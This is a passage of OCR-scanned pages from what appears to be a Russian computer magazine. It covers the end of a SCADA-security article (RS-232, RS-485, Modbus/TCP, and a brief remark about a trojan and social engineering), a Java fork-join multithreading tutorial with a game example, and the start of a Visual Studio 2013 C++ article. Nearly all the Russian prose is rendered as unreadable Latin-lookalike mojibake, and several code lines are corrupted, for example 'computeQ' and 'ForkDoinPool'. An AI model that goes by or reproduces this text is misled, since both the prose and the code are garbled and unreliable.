no KaKOMy-Hn6yflb yc/iOBMK) (BpeMfl/AaTa), noflKHHyTb stot tpohh o6cny>KHBaK)Lu,eMy 
nepcoHa/iy (Hanpi/iMep, no noHTe mii/i Ha qb/ieuiKe) m npi/iMGHMTb napy 3cfxJ)eKTi/iBHbix npn~ 
eMOB cou,na^bHOM MHxeHepMM, to nonyHMTca AOBO/ibHO-TaKu onacHaa Bemb. 



RS-232 



ripoBOAHOM AyrmeKCHbiPi nHTepc|)eMC. MeTOA nepeAanw AaHHbix aHa/ion/meH acuH- 
xpoHHOMy noc/ieAOBaTe/ibHOMy MHTepc^ekicy. B HacToain.ee Bpeivm moxho BCTpe- 
TMTb Ha OHeHb ApeBHMX KOMnbiOTepax b BMAe 9- v\nv\ 21 -KOHTaKTHoro pa3"beivia. Ilep- 
Bbie MbiLUKM noAK/iK)Ha/iMCb k KOMnbioTepaM MMeHHO c noMOiAbio Taxoro pa3beivia. 

MHct)opMau,Mfl nepeAaeTca no npoBOAaM ABOi/iHHbiM curHa/iOM c AByMH ypoB- 
HflMM HanpaxeHMfi. Jlon/iHecKOMy «0» cooTBeTCTByeT no/ioxMTe/ibHoe Hanpaxe- 
hmg (ot +5 ao +15 B/yiq nepeAQTHMKa), anorMHecKOM «1» OTpnuaTenbHoe (ot -5 
AO -1 5 B An^ nepeAaTHMKa). 

06ecneHMBaeT nepeAany AaHHbix m HeKOTOpbix cnem/iajibHbix ci/ima/iOB Ha pac- 

CTOflHI/ie ao 15 M. 

RS-485 



CTaHAapT (J)M3i/iHecKoro ypOBHH A-na acuHxpOHHoro i/iHTepct>enca. PennaMeHTupy- 
eT 3/ieKTpMHecKne napaivieTpbi no/iyAyn/ieKCHOM MHoroToneHHofi An00epeHun- 

a/lbHOM J1MHMM CBH3H. 

B CTaHAapTe RS-485 Ann nepeAann i/i npi/ieivia AaHHbix wcnanb3yeTCfl OAHa BHTaa 
napa npoBOAOB, HHorAa c SKpaHwpyiOLueM on/ieTKofi mjih o6lumm npoBOAOM. AaH- 
Hbie nepeAatOTCfl c noivioiHbio An^^epeHu.na/ibHbix cwrHa/iOB. Pa3Hnu,a Hanpaxe- 
hmm MexAy npOBOAHMKaMM oahom no/iflpHOc™ 03HanaeT ^orMHecKyjo eAHHnu,y, 
pa3Hnua APyroM no/iflpHOc™ — HO/ib. 

CTaHAapT RS-485 oroBapuBaeT mnbKO 3/ieKTpnHecKne m BpeMeHHbie xapaicre- 
pucTMKM cumanoB h He oroBapMBaeT napaivieTpbi KasecTBa curaanoB, npOTOKO- 
jibi o6ivieHa, Ti/inbi npoBOAOB n coeAHHi/iTe/iefi. 




Koa 3Kcn/iOMTa, SCADA v\ npomuBKa a^^ n/lK M3 stom CTaTbM nexaT Ha AncKe. 
BepHee, Ha 



Modbus/TCP 



Mod bus/TCP ncno/ib3yeTca a/ia nepeAasi/i AaHHbix nepe3 TCP/IP-coeAHHeHne 
b Ethernet-ceTqx. OopiviaT Modbus-naKeTa A-na nepeAann AaHHbix BK/iiOHaeT 
b ce6a LuecTb nonetf: 

ID TpaH3aKu,Mi/i (ABa 6aPrra); 

ID npoTOKO/ia (ABa 6aiiTa, Hynw); 

• Annna naKeTa (ABa 6aMTa, CHana/ia CTapniMM, 3aieM MjiaAwufi, yi<a3biBaiOT Konme- 
ctbo 6afiT, cjieAyKDLUMx 3a 3tmm no/ieM); 

• aApec ydpoMCTBa (oamh 6am, ec/in b stom no/ie Hynw, to nancei aApecoBaH bcgm 
ydpoMCTBaM Ha jii/ihmm); 

KOA (J)yHKI4MM (OAHH 6aMT, HanpMMep 02h — HTeHMe 3HaHeHMPl H3 HeCKOJlbKl/IX auc- 

KpeTHbix bxoaob MJin 05h — 3anncb 3Ha4eHHH OAHoro cjxnara); 

• AaHHbie (B 3aBMCHMOCTM OT THna KOMaHAbl). 



3AKJHOHEHKE 

MoxeT 6biTb, Tbi yxe aaMeTun, hto Teivia nH(t>opMai_i,MOHHOM 6e3onacHOCTn SCADA-cm- 
CTeM b noc/ieAHee BpeMfl npno6pe/ia oco6yio aKTyanbHOCTb n nocTeneHHO Bbi/iMBaeTCfl 
b oneHb MHTepecHoe m BecbMa nepcneicn/iBHoe HanpaB/ieHwe AGflTe/ibHOCTi/i. 

HaAOKDCb, Tbi npaBmibHO BocnpnivieLUb Bee, hto HanncaHO b stow CTaTbe, m He CTa- 
Heiub nbiTaTbca ocTaHaB/iHBaTb 6ojibi±iOM aAPOHHbiPi KonnaMAep b EBponePiCKOM ueHTpe 
^AepHbix nccneAOBaHMM uni/i npeKpamaTb Bbipa6oTKy 3neKTpo3Heprnn Ha Ka/iMHMHCKOM 
A3C, a CKOHu,eHTpnpyeLUb cbom ycunwfl Ha KOHCTpyKTMBHbix aomctbhhx, KOTopbie BHGcyT 
BK/iaA b peujeHne 6onbLuoPi npo6neMbi 6e3onacHofi pa6oTbi kpmtmhgckm BaxHbix i/i no- 
TeHu,na/ibHO onacHbix o6bgktob npon3BOACTBa. 




64 ; 
14^1000 3fc'8 





3YHAEM MHOrOnOTOHHOCTb B JAVA 
A flPl/lMEPE rEl/IM-KOfll/IHTA 





C MOMGrna co3ashmfi Java 6biJi opneHTnpoBaH Ha MHO- 
ronoTOHHoe cf)yHKi_j,i/iOHMpoBaHi/iG. ripn 3anycKe jikd6oi/i 

KO0GMHO-Hai_UGHHOl/l nporpaMMbl C03Aa6TC£ HGCKOJlb- 
KO nOTOKOB! KaK MMHMMyM OCHOBHOl/l 1/1 nOTOK c6opLAl/1- 

Ka Mycopa. C Kaxfloi/i hobom bgpcmgi/i C03AaTG/ii/i £3biKa 
npuflyMbiBa/iM b noMOLAb npi/iK/iaAHbiM nporpaMMi/iCTaM 

HOBbIG MGXaHI/13Mbl M a/iropi/ITMbl flJlfl GLU,G 60J1GG 3(\)~ 

cjDGKTi/iBHoro i/icno/ib30BaHi/iFi MHoronoTOHHOCTM. Ho na- 

CTO 3TO npMBOAUT K TOMy, HTO flJlfl MHOTl/lX OHa OCTaGTC^ 
CaMOI/1 TyMaHHOl/l 06/iaCTbKD H BMGCTO TOrO, HT06bl B3£Tb 

LUTaTHbiG K/iaccbi a/ia pGLUGHi/iFi 3aAan, nporpaMMMCTbi 

C03AaKDT CBOM COSCTBGHHbIG aHS/lOfM. B 3T01/I CTaTbG 

Mbi nonpoSyGM pa3o6paTbc^ c noTOKSMH, npocjiGA^Tb 
MCTopi/iKD pa3Bi/iTM^i MHoronoTOHHOCTM b Java 1/1 nOCMO- 

Tpi/1M, AGl/lCTBl/lTGJIbHO JIM IIOTOKI/I A^IOT OLAyTMMbll/l npi/1- 
POCT npOM3BOAHTGJlbHOCTM. 



▼ 

gogaworm 

gogaworm@tut.by 

PAS B II THE MHOrOnOTOHHOCTM 

ripn 3anycKe nporpaMMbl b naiviqTM co3AaeTCfl ee 3K3eMnrmp, MMeHyeMbiPi npou,eccoM. 
B HeM coAepxMTca boh Heo6xoAHMaa nHcfjopMauMfl txnn Bbino/iHeHHH nporpaMMbl. Ilpo- 
u,ecc nopo>KAaeT oahh win HecKO/ibKO noTOKOB — hgkotopykd nocneAOBaTenbHOCTb Bbi- 
no/ii-meMbix KOMaHA (kto CKa3a/i, hto sto 6aHanbHOCTM? CnoKotfHO, Aa/ibiue 6yAeT MHTe- 
pecHee :)). Y KaxAoro npou,ecca ecTb KaK mmhmmvm oahh noTOK, KOTopbiPi Ha3biBaeTca 
ocHOBHbiM. V\ Bbino/ii-mfOTCfl MMeHHO noTOKM, a He npou,eccbi. 

TaK KaK npou,eccoB b KOMnbioiepe o6biHHO MeHbiue, neM noTOKOB, ohm BbincnHHioTCfl 
noc^eAOBaTe/ibHO, ho 3a cneT 6biCTpoPi CMeHbi BbinojiHaeMbix noTOKOB co3AaeTCH Bne- 
naTJiGHMe napa/i/ie^bHOM pa6oTbi. 

Java ncnanb3yeT HaTnBHbie noTOKi/i onepau,MOHHOM ci/iCTeMbi, noaTOMy Ha KaxAOM 
rmaTcfjopMe i/ix CTpyKTypa MOxeT HecKO/ibKO OT/ii/iHaTbCfl, ho b o6iu,eM cnynae KaxAbiM no- 

TOK 06/iaAaeT C06CTBeHHblM CTeKOM, CHGTHMKOM KOMaHA H /lOKa/lbHbIMM nepeMeHHblMM. 

floTOKM oahoto npouecca wcno.nb3yiOT oaho aApecHoe npocTpaHCTBO, to ecTb MoryT 06- 



pamaTbCH k oflHMM i/i TeM xe nepeivieHHbiM m o6*beiCTaM. 3to 3HaHMTG/ibHO ynpomaeT B3a- 
MMOAeMCTBHe MexAy humm. 

B npouecce CBoefi xn3HeAe^Te/ibHOCTM noTOK MoxeT HaxoAHTbca b oahom 1/13 Tpex 
cocTOfiHMM. Oh MOxeT Bbino/iHflTbCfl, MOxeTOXMAaTbCBoeM onepeAn Ha Bbino/iHeHne v\nv\ 

6blTb B COCTOflHHM S/lOKMpOBKM. CoCTOHHWe 6-TIOKUipOBKM B03HMKaGT, KOrAa nOTOK OXMAaGT 

B03HMKHOBeHna onpeAG/ieHHoro co6biTna. Hanpniviep, KorAa ocbo6oahtch pecypc min 
ApyroM noTOK 3aKOHHHT CBoe Bbino^HeHne. Pa6oTOM iiotokob 3aBeAyeT n/iaHMpoBiu,MK no- 
tokob. Java ncno/ib3yeT n/iaHMpOBLu,nK onepau,noHHoPi CHCTeMbi, noaTOMy npaBmia ero 
pa6oTbi npnBq3aHbi k n/iaTcfjopMe, Ha kotopom 3anycKaeTCfl nporpaMMa. Ho o6bHHO n/ia- 

HMpOBLAMK pVKOBOACTBVeTCfl C/lGAyfOLU,MMl/l npaBM/iaMl/l! 

• CHanajia Bbino/iHfliOTCfl noTOKH c BbicuiMM npnopMTeTOM; 

• ec/iM npnopnTeTbi noTOKOB paBHbi, to ohm Bbino/iHflKDTCfl no onepeAn HeKOTopbiM kb3ht 

BpGMGHH. 

floTOKn b Java pea/in30BaHbi c noMombto K/iacca Thread, no cvtm, oto o6epTKa HaA ko- 
AOm M3 JNI-6n6nnoTeKM, KOTOpaa ncnonb3yeT BCTpoeHHbie cpeACTBa onepau,MOHHOM cm- 
CTeMbi A^rm pa6oTbi c noTOKaMM. HTo6bi Bbino/iHMTb 3aAany b OTAenbHOM noTOKe, moxho 
jih6o Hac^eAOBaTb K/iacc Thread m nepeonpeAe.ni/iTb MeTOA run, jim6o nepeAaTb b K/iacc 
Thread K/iacc, peajiM3yiow,nfi nHTepct>ePic Runnable. 

public interface Runnable { 
public void run(); 

I 

nepBbiM MeTOA no3BO/meT nony-ii/iTb AOCTyn k 3aw>nu I eHHbiM nepeivieHHbiM v\ MeTOAaM 
miacca Thread. Btopom MeTOA 6o/iee npeAnoHTi/iTe/ieH, nocKO/ibKy no3BOJiaeT He npwBH- 
3biBaTbca k K/iaccy noTOKa m AG/iaeT koa 60/iee thGkhm. 




flnpnrTSR nPMMD nnTrwnR r nauaTW 



rioTOKaM moxho Ha3HanaTb npnopnTeTbi Bbino/iHeHi/iH m Ae/iaTb mx 4)0H0BbiMM. B ot- 
jii/Hwe ot o6biHHoro noTOKa Java-nporpaMMa He oxuflaeT OKOHHaHHH Bbino/iHeHHH cJdoho- 
Boro (TaKMM flBJiaeTCfl, Hanpniviep, noTOK c6opuj,ni<a Mycopa). 

ripnopnTeTbi ncno/ib3yK)TCR n/iaHnpoBLu,MKOM noTOKOB, HTo6bi onpefle^MTb, KaKOMy 
M3 hux nepeA^Tb ynpaB/ieHne. 

rioTOK He HanMHaeT pa6oTy ao Tex nop, noKa He Bbi3BaH ero MeTOA start(). 06beKT 
Thread cymecTByeT AO cjDaKTMnecKoro 3anycKa ero noTOKa v\ npOAO/ixaeT cymecTBOBaTb 
nocne npeKpaLu,eHnq pa6oTbi noTOKa. 

rioTOK moxho 3anycTMTb TonbKO oahh pa3. nocjieAyK3Lu,ne Bbi30Bbi MeTOAa start npw- 
BeAyT k MCK/iKDHeHMK). 3to CAe/iaHO cneuwajibHO, noTOMy hto noBTOpHaa kiHi/iLU/iarM3au,nfl 
noTOKa b naM^TH — onepau,MSR He3<J)ct>eKTHBHafl. 

3aBepiuaeTca noTOK, KorAa Bbino/iHaeTCfl ero MeTOA run hjih b MeTOAe run B03Hw<aeT 
Heo6pa6oTaHHoe i/iCKJitoneHMe, hto HOKenaTe/ibHO. Kpoivie Toro, b Knacce Thread ecTb 
MeTOA stop, ho ero ncno/ib30BaHne MOxeT npuBecTM k HenpeACKa3yeMbiM pe3ynbTaTaM, 
noaTOMy ero JiyHLue HMKorAa He Bbi3biBaTb. 

Euie oahh BaxHbiM MeTOA — join. Oh 6/iOKnpyeT TeKymufi noTOK, o>KHAafl TpeAa, y ko- 
Toporo Bbi3BaH join. 3to none3HO, KorAa oahh noTOK AonxeH nanymiTb pe3y/ibTaT 3aAan, 
BbinonH^eMbix ApyrwMi/i. 

Co3AaHne m yAaneHne noTOKa — onepau.ua oneHb AoporocTOflLu,afl, Tpe6yK)m,afl 3Ha- 
HMTe/ibHbix 3aTpaT npoueccopHoro BpeMeHM m pecypcoB: Heo6xoAHMO BbiAennTb 06/iacTb 
b naMHTM, nponHMunanM3MpoBaTb peecTpbi i/i CTeK/iOKajibHbix nepeMeHHbix. KpoivieToro, 
cyuj,ecTByeT Bepom~HOCTb, hto nporpaMMMCT co3A3Ct c/imujkom MHoro noTOKOB h nocTO- 
^HHoe nepeK/iKDHeHne MexAy hmmm 3afiMeT 6onbLue BpeivieHM, neivi no3BonwT BbinrpaTb. 
HTo6bi KaK-TO opraHM30BaTb 6o/iee 3cJ)(J)eKTHBHyK) pa6oTy c noTOKaMi/i, b Java 1 .5 no^BM- 
jii/icb Mcno/iHMTe/iH — Knaccbi, Hac/ieAyKDLUne MHTep(J)ePic Executor. McnonHMTe/iM no3BO- 
jihiot Bbino/iHfiTb 3aA3HM, a6cTpan/ipyflCb ot MexaHM3Ma C03AaHi/ia m 3anycKa noTOKOB. 
Bee, hto hvxho, — sto C03AaTb HcnonHMTe/ib HyxHoro Tuna m Ao6aBMTb b Hero 3aAani/i. 

Executor executor = anExecutor; 
executor . execute ( new RunnableTaskl( ) ) ; 
executor .execute (new RunnableTask2( ) ) ; 

B Java BK/iiOHeHbi HecKO/ibKO CTaHAapTHbix ncnojiHHTenefi: DirectExecutor — Bbino/iHaeT 
3aA3HM b tom noTOKe, rAe ero co3Aann, ThreadPerTaskExecutor — co3AaeT OTAenbHbiPi 
noTOK A-n^ KaxAOM 3aAann, SerialExecutor — Bbino/iHaeT 3aAann nooneAOBaTe/ibHO OAHy 
3a ApyroM m, HaKOHeu,, Thread Pool Executor. noc/ieAHMM co3A3eT TaK Ha3biBaeMbiM ny/i no- 
tokob. KorAa noflBriFieTCfl HOBaa 3aAana, OHa Ha3HanaeTCfl CBo6oAHOMy noTOKy 1/13 nyna. 
nocne BbinoriHeHi/m 3aAann noTOK nepexoAUT b cocTO^Hne oxnAaHna n B03Bpauj,aeTCfl 
b ny/i CBo6oAHbix noTOKOB. 3to 3HaHMTe/ibH0 ycKopaeT pa6oTy npunoxeHHH. 

Euj,e oaho HOBOBBeAeHne Java 1 .5 — MHTep4>eMC A-na 3aAan Callable. B OTjiMHMe 
ot Runnable oh no3BO/ifleT B03Bpau_i,aTb 3HaneHMe v\ 6pocaTb ncK/uoneHne. 



public interface Callable<V> { 
V call() throws Exception; 



} 

npn Ao6aB/ieHMM b Mcno/iHMTe/ib 3aA3HM Tuna Callable B03Bpam,aeTCfl o6"beKT Future, Me- 
toa GET KOToporo xAeT Bbino/iHeHMjq 3aAann m B03BpamaeT pe3y/ibTaT. 3to aHanomnHO 
MeTOAyjoin noTOKa. 

<T> Future< T> su bmit(Cal l able<T> ta sk) 




KAK PAEOTAET FORK- JOIN 

HecMOTpq Ha Bee npewMymecTBa Thread Pool Executor, y Hero ecTb cbom HeAOCTaTKM. 
Bee noTOKM Mcnanb3VK)T OAHy onepeAb 3aAan, KOTopyK) npMxoAMTca cnHxpOHM3npoBaTb, 
m B03HMKaeT CMTyauj/m, KorAa oahh noTOK 3a6npaeT 3aAany, a ocTa/ibHbie npocTawBa- 
K)T, oxMAaa CBoePi onepeAH- KpoMe Toro, noTOKM hmk3k He Moryr B3anMOAeMCTBOBaTb 
npn peiueHMM 3aAan. riosTOMy pa3pa6oTHMKM Java bk/ikdhm/im b ceAbMyio Bepcmo hobvio 
pea^M3au,MK) Mcno/iHMTerm — ForkJoinPool. TaKoe Ha3BaHne CBA3aHO c TeM, hto 3aAann 
pa3Ae.rmK)TCfl, nopoxAaiOT HOBbie 3aAann, noTOM coeAw-mKDTCfl ppn HaxoxAeHMH KOHen- 
Horo pe3y/ibTaTa. Eo/ibi±ie Bcero t3kom MexaHM3M pa6oTbi noAXOAMTA/ifl peiueHMM peKyp- 
CMBHbix 3aAan, rAe KaxAbiM Bbi30B MeTOAa MOxeT nopoAMTb nocneAyKDiUMe Bbi30Bbi 3toi~o 
xe MeTOAa c Apyrnivin 3HaHeHM^Mn napaivieTpoB. 

ForkJoinPool, KaK h ThreadPoolExecutor, ncnonb3yeT ueHTpa/ibHyK) onepeAb A-na AO- 
6aBneHnq 3aAan. Ho KpoMe Toro, y KaxAoro noTOKa ecTb cbom noKanbHbie onepeAn 3a- 
Aan, KyAa ohm Moryr Ao6aB.rmTb HOBbie 3aAanM, noflBrmjoinMecfl b xoAe BbiHMC/ieHMM. 
B ForkJoinPool Mcno/ib3yeTca TaK Ha3biBaeMbiM MexaHM3M 3axBaTa 3aAan. KorAa y noTOKa 

3aKaHHMBaiOTCFI 33AaHM M3flOKa/lbHOM OHepeAM, OH HaHMHaeT nOmJIAblBaTb, HeT JIM HeBbl- 

no/iHeHHOM 3aAaMM y ApyrMx, m ecnM TaKaa MMeeTca, to 3a6MpaeTee ce6e. Ectim xe t3kmx 
3aAan He HaxoAMTca, to npMXOAMTC^ o6paLU,aTbCH k uempanbHOM onepeAM 3aAan. TaKOM 
noAxoA 06/iaAaeT abvmh AOCTOMHCTBaMM. Bo-nepBbix, TaK KaK noTOK pa6oTaeT co cbo- 
eM onepeAbKD, MeHbuie BpeivieHM TpaTMTca Ha npocTaMBaHMe b uempanbHOM onepeAM. 
Bo-BTODbix. noTOKM. KOTODbie 3aKOHHM/iM 3anaHM oaHbiue novrnx. MorvT 3a6oaTb ce6e 



HeMHoro Hyxofi pa6oTbi, mto yBe/ii/iHMBaeT o6myio npon3BOAHTe.nbHOCTb. 

HTo6bi Cfle^aTb pa6oTy iiotokob ei_u,e 6o/iee 3cJdc|)gktmbhom, b ForkJoinPool npHMei-m- 
KDTca ABe xmtpoctm. Bo-nepBbix, /lOKa/ibHafl onepeAb noTOKa opraHM30BaHa KaK abvcto- 
POhhhh onepeAb. Pa6onnM noTOK ncno/ib3yeT ee KaK FIFO-deK, HUTaa i/i Ao6aB/mfl HOBbie 
33AaHM c oahom CTopoHbi. rioTOK xe, KOTopbiPi 3axBaTbiBaeT nyxyK) 3aAasy, HMTaeT 3aAaHM 
c ApyroM CTopoHbi. Bo-BTopbix, eoni/i noTOKy He yAaeTca 3axBaTi/iTb HOByio 3aAany, oh mo- 
xeTAO/iro nepexoAHTbOTOAHOM onepeAn k ApyroM, i/icnonb3yfl HanpacHO npou,eccopHoe 
Bpeivm, noaTOMy b t3kmx c/iynaax noTOK nepeBOAHTca b cn^mee cocTO^Hne ao noflB/ieHMH 
HOBbix 3aAan. 

B KanecTBe 3aAan ForkJoinPool npMHMMaeT HaoneAHMKOB ForkJoinTask. Ho Ha npaK- 
tmkg Hac^eAOBaTb 3tot K/iacc caMOCTOHTe/ibHO He noTpe6yeTCfl, noTOMy hto ecTb yxe 
roTOBbie RecursiveAction m RecursiveTask. nepBbiM ncnonb3yeTCfl nj]$\ 3aAan, b KOTopbix 
He Tpe6yeTca B03Bpai_u,aTb pe3y/ibTaT, btopom — &r\9\ 3aAan c B03BpamaeMbiM pe3ynbTa- 

TOM. 

niiujEM nrpy 

HTo6bi npoAeMOHCTpnpoBaTb bo3mo>khoctm fork/join, HanMiueM npocTyio wrpy «AAMMHbi 
npoTMB xaKepoB». Ha i/irpoBOM none 8 Ha 8 K/ieTOK b,bb nrpoKa noonepeAHO BbicTaB/mioT 

CBOH C|)MLUKM, OAHH UTpaeT 3a XaKepOB, BTOpOM 3a aAMMHOB. EOTM 0MLUKM 3AMMH0B OKpy- 

>KeHbi no BepTMKa/iM, ropM30HTa/in i/mi/i AnaroHanw 4)MiuKaMM xaKepoB, to Bee ohm npe- 
Bpam,aK)TCfl b xaKepoB, n Hao6opoT. 

l/lcnonb3yeM bo3moxhoctm ForkJoinPool jxnn pacneia c/ieAyioinero xoAa KOMnbfOTe- 
pOM. MrpoBoe none npeACTaBUM KaK MaccMB 6yjieBbix oGteKTOB. Ecjim HHePiKa paBHa null, 
to OHa He 3aH$rra. Eoni/i true, to TaM ctout cJwujKa xaKepa, false — ct>nLUKa aAMMHa. Hto- 
6bi npocHMTaTb cneAyiOLAHM xoa, Heo6xoAHMO b KaxAyK) He3aHfrryK) anePiKy nocTaBHTb 

CBOK) 4)MLUKy H nOCHHTaTb, CKO/lbKO Cj)MLUeK npH 3T0M VAaCTCfl 3apa60TaTb. HT06bl HeMHO- 

ro ynyniuMTb KOMnbKrrepHbifi i/iHTe/i/ieKT, btophm uiaroM nepe6epeM B03M0XHbie wan/i 
no/ib30BaTena h MaKCMManbHoe KonnnecTBO 4)MLiieK, KOTOpoe oh 3apa6oTaeT. Othi/imcm 
BTopoe hmcjio ot nepBoro h Bbi6epeM MaKCwvia/ibHO BbiroAHbiM xoa- 

MTaK, co3AaAHM MeTOA nextMove, b Hero nepeAaeM TeKyi_u.ee pacnonoxeHne c[)MLueK 
m nrpOKa, 3a KOTOporo nrpaeT KOMnbiOTep. Bo3Bpauj,aeMoe 3HaMeHne — Haw6o.nee Bbi- 
roAHa^ no3nu,nq cneAyiouj,eii 0mlukm. 

pub lic int nextMove(final Boolean[] table, final Boolean player) 

B 3tom MeTOAe co3AaAHM aHOHMMHbiM Knacc, HacneAOBaHHbiM ot RecursiveTask, koto- 
pbiM Ao6aBMM b nyn. 

RecursiveTask<Integer> task = new RecursiveTask<Integer>( ) {...}; 
new ForkDoinPool( ) . invoke(task); 
Integer result = task. join()j 

B MeTOAe compute noonepeAHO CTaBMM cfji/iuLiKy b KaxAyio He3aHHTVK) K/ieTKy v\ co3AaeM 
HOByK) 3aAany Arn^i Bbinnc^eHnq KonnnecTBa 3apa6oTaHHbix cfjuiueK. 3aAann Ao6aBn?ieM 
b cnncoK, HTo6bi noTOM co6paTb no^yneHHbie pe3ynbTaTbi. MeTOA fork Ao6aBJi5ieT HOBbie 
3aA3HM b noKanbHyio onepeAb noTOKa. 



for (int position = 0; position < table. length; position++) { 
if (table[position] == null) { 

CalculateScoreTask task = new CalculateScoreTask(table, player, *-> 
position) {...}; 
task.fork() ; 
tasks. add(task); 

} 

J 

K/iacc CalculateScoreTask TaKxe HaoneAOBaH ot RecursiveTask<lnteger>. B MeTOAe 
compute Heo6xoAHMOCKonnpoBaTbTeKyLu.ee pacnonoxeHi/ie A-na Bbini/ioneHHii, nocTaBi/iTb 
cJwujKy Ha Bbi6paHHyK) no3i/ii_Li/iio m nocnuTaTb no/iyHMBLiieecfl KonnnecTBO cbomx 4>nujeK. 

protected Integer compute() { 

Boolean [] tableCopy = new Boolean [table. length] ; 

System. arraycopy(table,_0, tableCopy, 0, tableCopy. length); 

Calculatel)tils.apply(tableCopy, position, player, tru e); 

return CalculateUtils . score(tableCopy, player); 
} 

Tenepb y/iynujHM MbicnHTenbHbie cnoco6HOCTM KOMnbKrrepa. B aHOHMMHOM K/iacce, Ha- 
cneAOBaHHOM ot CalculateScoreTask, nepeonpeAe/iMM MeTOA compute, b kotopom npo- 

CHMTaeM B03M0>KHblM XOA COnepHMKa H TO, K3K0M Bbll/irpblLU OH nOJiyHMT. 

protected Integer compute() { 

int maxScore = super. computeQ; 

List<RecursiveTask<Integer>> tasks = new Arrayl_ist<RecursiveTask«-j 
^<Integer>>(table. length)i 
for (int position = 0; position < table. length; position++) { 
if (table[position] == null) { 

CalculateScoreTask task = new CalculateScoreTask(table, ! player, *-> 
position) ; 
task.fork(); 
tasks. add(task); 

i 

- } 

int maxEnemyScore = 0; 

for (RecursiveTask<Integer> task : tasks) { 
Integer result = task.joinQ; 
if (result > maxEnemyScore) { 
maxEnemyScore = result; 

} 

} 

return maxScore - maxEnemyScore; 

}- 



OcTa/iocb flonncaTb nonb30BaTe/ibCKMM MHTepcf)eMC, m Hrpa roTOBa (no/iHbie mcxoahmkm 
cmotpm Ha dvd.xakep.ru ). 



O Aammhw npoTMB xaKepoB 





www 

nojie3Haa cTaTbfl o ncrroKax 

MCMHXpOHM3aUl1M: 

www.ibm.com/ 
developerworks/ru/edu/j- 
threads/index.html 

noAPo6HoeonncaHne 
pa6oTbi fork-join: 

coopsoft.com/ar/ 
ConquerArticle.html 

0(J)Muna^bHayi AOKyMGHTaumi 

no MHOrOnOTOHHOCTM 

ot Oracle: 

docs.oracle.com/ 
javase/tutorial/essential/ 
concurrency/ 



riojiyHUBLLiaflCfl nrpa 



3AKJ1 K)4 EH M E 

Java npeAOCTaBJiaeT pa3Hbie MexaHM3Mbi opraHM3au.nn MHoronoTOHHOCTM. HeTKoe noHM- 
MaHne Toro, KaK ohm pa6oTaiOT v\ a/ia xaKoro Tuna 3aflan co3AaBanncb, no3BO.ni/rr Bbi6paTb 
caMbiPi 3ct)cJ)eKTMBHbiM. l/1cno/ib30BaHne fork-join 6vaot onpaBAaHHO b 3aAanax c peKyp- 
CMBHbiM peiuGHMGM, b 3aAanax, nopo>KAaKDLAMX MHoro AonepHnx 3aAan b npouecce pe- 
LueHnq, m b 3aAanax c HepaBHbiM BpeMeHeM BbinonHeHfm. 




no-HOBOMy 

1/13YHAEM HOBblE B03MOXHOCTM 
1/1 yjiyHLUEHI/in C++ B VISUAL STUDIO 2013 

B Visual Studio 2013 b noAAepxKy H3biKa C++ 6b\nv\ BHeceHbi 3HaHi/iTe/ibHbie 
y^ynujeHM^, BKJifona?! MHoroe M3 ochobhom cneu.i/ictMKau.i/ii/i ^3biKa crraHAap- 
Ta ISO C++11 h HeKOTopbie bo3moxhocth CTaHAapTHOi/i 6n6/iMOTeKi/i 1/13 ISO 
C++14. B AaHHOM CTaTbe n noKaxy n oSb^CHfo hobobbgashi/i^i R3biKa, KOTopwe 
AOjixgh 3HaTb KaxAbiM nporpaivuviep Ha npi/irmfocHyTOM cm. 



B 3T(M CTATbE TESfl JKfl/T: 



HOBblE CTPOKOBblE J1I1TEPAJ1 bl 

Ec/im Tbi pa6oTan c H3biKOM C#, to, bo3moxho, 3H3KOM co CTpoKOBbiMM jiMTepa/iaMM c npec|)MK- 

COM @, KOTOpbie M36aBJI?lK3T OT Heo6xOAMMOCTM SKpaHMpOBaTb CneU,Ma/lbHbie CMMBO/lbl. Ochob- 

Haa cneu,ncJ)MKai4Hfl H3biKa ISO C++11 onpeAe/iaeT HOBbie CTpOKOBbie nMTepa/ibi, KOTOpbie npeflo- 
CTaB/iHK)T noxoKi/ie bo3mo>khoctm, m Visual Studio 2013 n o aao p>K h BaeT sto . KorAa Mbi onpeAcrmeM 
ctpokm, KOTOpbie BK/nonaiOT nyTM, URI, HTML, JSON, XML mjim pery/iapHbie BbipaxeHMfl, Heo6xo- 
AHMOCTb SKpaHMpoBaTb cneu.ua/ibHbie CMMBO/ibi 3aTpyAHaeT HTeHwe m noHUMaHne coAepxuMoro 
ctpokm. HoBbie bo3moxhocth no3BormK)T HaM 3anncaTb CTpoKy b ee mcxoahom BMAe. 

CneAyKDiAMe ctpokm noKa3biBaK)T JSON-coAepxuMoe, rAe MHorwe CMMBO/ibi npMLunocb 
6bi SKpaHMpOBaTb, ncno^b3ya K/iaccuHecKne ctpokm: 



{ 



"Title" ;_"£/< 


Z++ section". 




"Subtitle": 


"C/C++ in Visual Studio 2013"V_ 




■• Id » : »10" 






} 



CneAyKDuiMM koa SKpaHMpyeT Bee HyxHbie CMMBO/ibi, KOTOpbie Mcno^b30Ba/iMCb AJifl onpe- 
Ae/ieHM^ npeAbiAyu4eM JSON-ctpokm. Tbi HaBepHHKa connacMWbCfl, hto cjioxho pacno3HaTb 
JSON, KorAa Bee napbi k/ikdh — 3HaneHMe HaxoA^TCfl b oahom CTpoKe: 

auto jsonContentl = "\n{\n \"Title\" : \"C/C++ section\" 
\n \"Subtitle\":\"C/C++ in Visual Studio 2013\" J - J 

\n \"Id\":\"10V'\n}"; 

B Visual Studio 2013 npMBeAeHHbiM HMxe koa Mcno/ib3yeT HOBbie /iMTepa/ibi onpeAe/ieHMH 
npeAbiAyuiero KOHTeHTa JSON. 3aivieTb, hto mo>kho BK/uonaTb ABOMHbie KaBbiHKM m Mcno/ib- 
30BaTb HOBbie ctpokm. B TaKOM cfjopiviaTe Mbi MOxeM nerKO nponecTb m noHHTb TeKCT JSON. 
AaHHbiM koa C03AaeT CTpoKy json content TMna const char*, KOTopaa coAepxMT tohho TaKoe 
xe 3HaneHMe, KaK m npeAbiAymaa, Mcno/ib3yiOLuafl cneu,Ma/ibHbie CMMBO/ibi. 

auto jsonContent = R"({ 

"Title": "C/C++ section", 

"Subtitle": "C/C++ in Visual Studio 2013", 

"Id ": "10" 

tt^ 

Tbi Mor 3aivieTMTb Mcno/ib30BaHMe R" b KanecTBe npecJwKca m )" b KanecTBe cyc})(t>MKca, KOTOpbie 
He HB/miOTCfl nacTbK) MexoAHoro JSON. 3tm npec})MKC m cycfx+wKC npeACTaB/ifliOT m orpaHMHM- 
BaiOT CTpoKOBbiM /iMTepa/i. Ha caMOM Aene 06U4MM cnoco6 npeACTaB/ieHMa HOBbix ziMTepa/iOB 
